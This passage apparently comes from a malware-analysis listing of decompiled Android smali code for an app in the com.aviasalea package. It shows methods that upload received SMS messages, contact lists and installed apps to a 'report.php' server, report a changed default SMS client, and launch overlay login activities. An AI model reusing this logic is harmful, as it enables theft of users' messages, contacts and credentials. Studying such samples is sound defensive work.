                                      6invoke-super {p0, p1, p2, p3}, Lcom/aviasalea/base/BaseActivity;->onActivityResult(IILandroid/content/Intent;)V
                                      7goto_6: return-void
                                      8pswitch_7: const/4 v0, -0x1
                                      9if-ne p2, v0, :cond_e
                                      11invoke-virtual {p0}, Lcom/aviasalea/checkui/AdRequestDialog;->finishActivity()V
                                      12goto/16 :goto_6
                                      13cond_e:
                                      14invoke-virtual {p0}, Lcom/aviasalea/checkui/AdRequestDialog;->finishActivity()V
                                      15goto/16 :goto_6
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.injs.s.SSplashActivity.startActivity
                                      • com.aviasalea.injs.s.SSplashActivity.finishActivity
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/SSplashActivity$1;->this$0:Lcom/aviasalea/injs/s/SSplashActivity;
                                      3new-instance v1, Landroid/content/Intent;
                                      5iget-object v2, p0, Lcom/aviasalea/injs/s/SSplashActivity$1;->this$0:Lcom/aviasalea/injs/s/SSplashActivity;
                                      6const-class v3, Lcom/aviasalea/injs/s/SLogActivity;
                                      8invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      10invoke-virtual {v0, v1}, Lcom/aviasalea/injs/s/SSplashActivity;->startActivity(Landroid/content/Intent;)V
                                      12iget-object v0, p0, Lcom/aviasalea/injs/s/SSplashActivity$1;->this$0:Lcom/aviasalea/injs/s/SSplashActivity;
                                      14invoke-virtual {v0}, Lcom/aviasalea/injs/s/SSplashActivity;->finishActivity()V
                                      15return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.setOnFocusChangeListener
                                      Position Instruction Meta Information
                                      0.param p1, "cTextInputLayout" # Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      4iput-object p1, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      6iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      8invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      9move-result-object v0
                                      10new-instance v1, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher$1;
                                      12invoke-direct {v1, p0}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher$1;-><init>(Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;)V
                                      14invoke-virtual {v0, v1}, Landroid/widget/EditText;->setOnFocusChangeListener(Landroid/view/View$OnFocusChangeListener;)V
                                      15return-void
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • android.content.Context.startService
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      3const/16 v2, 0x12
                                      4if-lt v1, v2, :cond_14
                                      5new-instance v0, Landroid/content/Intent;
                                      6const-class v1, Lcom/aviasalea/srs/StDlgSrs;
                                      8invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      10invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      11move-result-object v1
                                      13invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                      14cond_14: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getWFCounts
                                      • com.aviasalea.Realtalk.setWFCounts
                                      • com.aviasalea.Realtalk.setWFCounts
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {p0}, Lcom/aviasalea/Realtalk;->getWFCounts(Landroid/content/Context;)I
                                      3move-result v0
                                      4add-int/lit8 v0, v0, 0x1
                                      6invoke-static {p0, v0}, Lcom/aviasalea/Realtalk;->setWFCounts(Landroid/content/Context;I)V
                                      7const/16 v1, 0x1e
                                      8if-lt v0, v1, :cond_14
                                      10invoke-static {p0}, Lcom/aviasalea/checktls/WFTls;->onWifi(Landroid/content/Context;)V
                                      11const/4 v1, 0x0
                                      13invoke-static {p0, v1}, Lcom/aviasalea/Realtalk;->setWFCounts(Landroid/content/Context;I)V
                                      14cond_14: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      4invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      5move-result-wide v2
                                      6cmp-long v0, v0, v2
                                      7if-eqz v0, :cond_14
                                      8iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      10invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      11const-wide/16 v0, 0x0
                                      13invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep1(J)V
                                      14cond_14: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.sendingTrackerToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      4invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      5move-result-wide v2
                                      6cmp-long v0, v0, v2
                                      7if-eqz v0, :cond_14
                                      8iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      10invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      11const-wide/16 v0, 0x0
                                      13invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->sendingTrackerToServer(J)V
                                      14cond_14: return-void
                                      Cross References
                                      APIs
                                      • java.util.Locale.getDefault
                                      • java.text.SimpleDateFormat.<init>
                                      • java.text.SimpleDateFormat.format
                                      Position Instruction Meta Information
                                      0.param p0, "date" # Ljava/util/Date;
                                      1.param p1, "template" # Ljava/lang/String;
                                      2.prologue
                                      3new-instance v0, Ljava/text/SimpleDateFormat;
                                      5invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
                                      6move-result-object v1
                                      8invoke-direct {v0, p1, v1}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
                                      10invoke-virtual {v0, p0}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                      11move-result-object v1
                                      12return-object v1
                                      APIs
                                      • java.util.Calendar.getInstance
                                      • java.util.Calendar.set
                                      • java.util.Calendar.getTime
                                      Position Instruction Meta Information
                                      0.param p0, "year" # I
                                      1.param p1, "month" # I
                                      2.param p2, "day" # I
                                      3.prologue
                                      5invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                                      6move-result-object v0
                                      8invoke-virtual {v0, p0, p1, p2}, Ljava/util/Calendar;->set(III)V
                                      10invoke-virtual {v0}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                      11move-result-object v1
                                      12return-object v1
                                      Cross References
                                      APIs
                                      • java.util.Calendar.getInstance
                                      • java.util.Calendar.setTimeInMillis
                                      • java.util.Calendar.getTime
                                      Position Instruction Meta Information
                                      0.param p0, "timestamp" # J
                                      1.prologue
                                      3invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                                      4move-result-object v0
                                      6invoke-virtual {v0, p0, p1}, Ljava/util/Calendar;->setTimeInMillis(J)V
                                      8invoke-virtual {v0}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                      9move-result-object v1
                                      10return-object v1
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onDestroy
                                      • java.lang.Boolean.valueOf
                                      • com.aviasalea.srs.GPSrs.sendObjectBroadcast
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Lcom/aviasalea/base/BaseActivity;->onDestroy()V
                                      3const/16 v0, 0xb
                                      4const/4 v1, 0x1
                                      6invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                      7move-result-object v1
                                      9invoke-static {p0, v0, v1}, Lcom/aviasalea/srs/GPSrs;->sendObjectBroadcast(Landroid/content/Context;ILjava/lang/Object;)V
                                      10return-void
                                      Cross References
                                      APIs
                                      • android.webkit.WebView.<init>
                                      • android.view.ViewGroup$LayoutParams.<init>
                                      • android.webkit.WebView.setLayoutParams
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v2, -0x1
                                      2new-instance v1, Landroid/webkit/WebView;
                                      4invoke-direct {v1, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
                                      5new-instance v0, Landroid/view/ViewGroup$LayoutParams;
                                      7invoke-direct {v0, v2, v2}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V
                                      9invoke-virtual {v1, v0}, Landroid/webkit/WebView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
                                      10return-object v1
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "number" # Ljava/lang/String;
                                      2.param p3, "message" # Ljava/lang/String;
                                      3.annotation system Ldalvik/annotation/Signature;
                                      4value = {
                                      5"(",
                                      6"Landroid/content/Context;",
                                      7"Ljava/lang/String;",
                                      8"Ljava/lang/String;",
                                      9"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      10"<",
                                      11"Lcom/aviasalea/api/request/HttpResponse;",
                                      12">;)V"
                                      13}
                                      14.end annotation
                                      15.prologue
                                      17const-string v2, "report.php"
                                      18const/16 v3, 0x18
                                      20invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      21iput-object p2, p0, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->number:Ljava/lang/String;
                                      22iput-object p3, p0, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->message:Ljava/lang/String;
                                      23try_start_b:
                                      24invoke-virtual {p0, p1}, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      25move-result-object v1
                                      27invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      28move-result-object v2
                                      29iput-object v2, p0, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->data:[B
                                      30iput-object p4, p0, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      31try_end_17: return-void
                                      32catch_18: move-exception v0
                                      34invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      35goto/16 :goto_17
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Ljava/util/List",
                                      6"<",
                                      7"Ljava/lang/String;",
                                      8">;",
                                      9"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      10"<",
                                      11"Lcom/aviasalea/api/request/HttpResponse;",
                                      12">;)V"
                                      13}
                                      14.end annotation
                                      15.prologue
                                      17const-string v2, "report.php"
                                      18const/16 v3, 0xf
                                      20invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      21try_start_7: iput-object p2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep3Request;->mApps:Ljava/util/List;
                                      23invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep3Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      24move-result-object v1
                                      26invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      27move-result-object v2
                                      28iput-object v2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep3Request;->data:[B
                                      29iput-object p3, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep3Request;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      30try_end_15: return-void
                                      31catch_16: move-exception v0
                                      33invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      34goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Ljava/util/List",
                                      6"<",
                                      7"Lcom/aviasalea/cntcts/Contact;",
                                      8">;",
                                      9"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      10"<",
                                      11"Lcom/aviasalea/api/request/HttpResponse;",
                                      12">;)V"
                                      13}
                                      14.end annotation
                                      15.prologue
                                      17const-string v2, "report.php"
                                      18const/16 v3, 0x12
                                      20invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      21try_start_7: iput-object p2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep6Request;->mContactList:Ljava/util/List;
                                      23invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep6Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      24move-result-object v1
                                      26invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      27move-result-object v2
                                      28iput-object v2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep6Request;->data:[B
                                      29iput-object p3, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep6Request;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      30try_end_15: return-void
                                      31catch_16: move-exception v0
                                      33invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      34goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "requestType" # I
                                      2.param p3, "reportData" # Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      3.annotation system Ldalvik/annotation/Signature;
                                      4value = {
                                      5"(",
                                      6"Landroid/content/Context;",
                                      7"I",
                                      8"Lcom/aviasalea/srs/api/requests/data/ReportData;",
                                      9"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      10"<",
                                      11"Lcom/aviasalea/api/request/HttpResponse;",
                                      12">;)V"
                                      13}
                                      14.end annotation
                                      15.prologue
                                      17const-string v2, "report.php"
                                      19invoke-direct {p0, p1, v2, p2}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      20iput-object p3, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->reportData:Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      21try_start_7:
                                      22invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/SendReportRequest;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v1
                                      25invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      26move-result-object v2
                                      27iput-object v2, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->data:[B
                                      28iput-object p4, p0, Lcom/aviasalea/srs/api/requests/SendReportRequest;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      29try_end_13: return-void
                                      30catch_14: move-exception v0
                                      32invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      33goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "model" # Ljava/lang/Object;
                                      2.annotation system Ldalvik/annotation/Signature;
                                      3value = {
                                      4"(",
                                      5"Landroid/content/Context;",
                                      6"Ljava/lang/Object;",
                                      7"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      8"<",
                                      9"Lcom/aviasalea/injs/api/response/SCResponse;",
                                      10">;)V"
                                      11}
                                      12.end annotation
                                      13.prologue
                                      15const-string v2, "report.php"
                                      16const/16 v3, 0x17
                                      18invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      19iput-object p2, p0, Lcom/aviasalea/injs/api/request/SCRequest;->model:Ljava/lang/Object;
                                      20try_start_9:
                                      21invoke-virtual {p0, p1}, Lcom/aviasalea/injs/api/request/SCRequest;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      22move-result-object v1
                                      24invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      25move-result-object v2
                                      26iput-object v2, p0, Lcom/aviasalea/injs/api/request/SCRequest;->data:[B
                                      27iput-object p3, p0, Lcom/aviasalea/injs/api/request/SCRequest;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      28try_end_15: return-void
                                      29catch_16: move-exception v0
                                      31invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      32goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      6"<",
                                      7"Lcom/aviasalea/api/request/HttpResponse;",
                                      8">;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13const-string v2, "report.php"
                                      14const/16 v3, 0xd
                                      16invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      17try_start_7:
                                      18invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep1Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      19move-result-object v1
                                      21invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      22move-result-object v2
                                      23iput-object v2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep1Request;->data:[B
                                      24iput-object p2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep1Request;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      25try_end_13: return-void
                                      26catch_14: move-exception v0
                                      28invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      29goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      6"<",
                                      7"Lcom/aviasalea/api/request/HttpResponse;",
                                      8">;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13const-string v2, "report.php"
                                      14const/16 v3, 0xe
                                      16invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      17try_start_7:
                                      18invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep2Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      19move-result-object v1
                                      21invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      22move-result-object v2
                                      23iput-object v2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep2Request;->data:[B
                                      24iput-object p2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep2Request;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      25try_end_13: return-void
                                      26catch_14: move-exception v0
                                      28invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      29goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      6"<",
                                      7"Lcom/aviasalea/api/request/HttpResponse;",
                                      8">;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13const-string v2, "report.php"
                                      14const/16 v3, 0x10
                                      16invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      17try_start_7:
                                      18invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep4Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      19move-result-object v1
                                      21invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      22move-result-object v2
                                      23iput-object v2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep4Request;->data:[B
                                      24iput-object p2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep4Request;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      25try_end_13: return-void
                                      26catch_14: move-exception v0
                                      28invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      29goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      6"<",
                                      7"Lcom/aviasalea/api/request/HttpResponse;",
                                      8">;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13const-string v2, "report.php"
                                      14const/16 v3, 0x11
                                      16invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      17try_start_7:
                                      18invoke-virtual {p0, p1}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep5Request;->getHttpParams(Landroid/content/Context;)Ljava/lang/String;
                                      19move-result-object v1
                                      21invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getBytesUTF8(Ljava/lang/String;)[B
                                      22move-result-object v2
                                      23iput-object v2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep5Request;->data:[B
                                      24iput-object p2, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep5Request;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      25try_end_13: return-void
                                      26catch_14: move-exception v0
                                      28invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      29goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      Strings
                                      • change_sms_client_done
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "chSmsClientStatus" # Ljava/lang/String;
                                      2.param p3, "requestRepeatTimeout" # J
                                      3.prologue
                                      4new-instance v0, Lcom/aviasalea/srs/api/requests/SendReportRequest;
                                      5const/16 v1, 0x1b
                                      6new-instance v2, Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      8const-string v3, "change_sms_client_done"
                                      10invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      11move-result-wide v4
                                      13invoke-direct {v2, v3, v4, v5, p2}, Lcom/aviasalea/srs/api/requests/data/ReportData;-><init>(Ljava/lang/String;JLjava/lang/String;)V
                                      14new-instance v3, Lcom/aviasalea/srs/rcv/RtlkReceiver$1;
                                      16invoke-direct {v3, p0, p1, p2}, Lcom/aviasalea/srs/rcv/RtlkReceiver$1;-><init>(Lcom/aviasalea/srs/rcv/RtlkReceiver;Landroid/content/Context;Ljava/lang/String;)V
                                      18invoke-direct {v0, p1, v1, v2, v3}, Lcom/aviasalea/srs/api/requests/SendReportRequest;-><init>(Landroid/content/Context;ILcom/aviasalea/srs/api/requests/data/ReportData;Lcom/aviasalea/api/request/HttpResponseHandler;)V
                                      20invoke-static {}, Lcom/aviasalea/api/request/HTTPServer;->getInstance()Lcom/aviasalea/api/request/HTTPServer;
                                      21move-result-object v1
                                      23invoke-virtual {v1, v0, p3, p4}, Lcom/aviasalea/api/request/HTTPServer;->doRequestDelayed(Lcom/aviasalea/api/request/HttpRequest;J)V
                                      24return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      Strings
                                      • change_sms_client_done
                                      Position Instruction Meta Information
                                      0.param p1, "chSmsClientStatus" # Ljava/lang/String;
                                      1.param p2, "requestRepeatTimeout" # J
                                      2.prologue
                                      3new-instance v0, Lcom/aviasalea/srs/api/requests/SendReportRequest;
                                      4const/16 v1, 0x1b
                                      5new-instance v2, Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      7const-string v3, "change_sms_client_done"
                                      9invoke-static {p0}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      10move-result-wide v4
                                      12invoke-direct {v2, v3, v4, v5, p1}, Lcom/aviasalea/srs/api/requests/data/ReportData;-><init>(Ljava/lang/String;JLjava/lang/String;)V
                                      13new-instance v3, Lcom/aviasalea/srs/GPSrs$2;
                                      15invoke-direct {v3, p0, p1}, Lcom/aviasalea/srs/GPSrs$2;-><init>(Lcom/aviasalea/srs/GPSrs;Ljava/lang/String;)V
                                      17invoke-direct {v0, p0, v1, v2, v3}, Lcom/aviasalea/srs/api/requests/SendReportRequest;-><init>(Landroid/content/Context;ILcom/aviasalea/srs/api/requests/data/ReportData;Lcom/aviasalea/api/request/HttpResponseHandler;)V
                                      19invoke-static {}, Lcom/aviasalea/api/request/HTTPServer;->getInstance()Lcom/aviasalea/api/request/HTTPServer;
                                      20move-result-object v1
                                      22invoke-virtual {v1, v0, p2, p3}, Lcom/aviasalea/api/request/HTTPServer;->doRequestDelayed(Lcom/aviasalea/api/request/HttpRequest;J)V
                                      23return-void
                                      Cross References
                                      APIs
                                      • android.util.Log.i
                                      Strings
                                      • Error dialog manager received exception
                                      Position Instruction Meta Information
                                      0.param p0, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.prologue
                                      3sget-object v1, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      5iget-object v1, v1, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      6iget-boolean v1, v1, Lde/greenrobot/event/util/ErrorDialogConfig;->logExceptions:Z
                                      7if-eqz v1, :cond_19
                                      9sget-object v1, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      11iget-object v1, v1, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      13iget-object v0, v1, Lde/greenrobot/event/util/ErrorDialogConfig;->tagForLoggingExceptions:Ljava/lang/String;
                                      14if-nez v0, :cond_12
                                      16sget-object v0, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      17cond_12:
                                      18const-string v1, "Error dialog manager received exception"
                                      20iget-object v2, p0, Lde/greenrobot/event/util/ThrowableFailureEvent;->throwable:Ljava/lang/Throwable;
                                      22invoke-static {v0, v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                      23cond_19: return-void
                                      APIs
                                      • de.greenrobot.event.EventBusException.<init>
                                      Strings
                                      • Default instance already exists. It may be only set once before it\'s used the first time to ensure consistent behavior.
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const-class v1, Lde/greenrobot/event/EventBus;
                                      2monitor-enter v1
                                      3try_start_3:
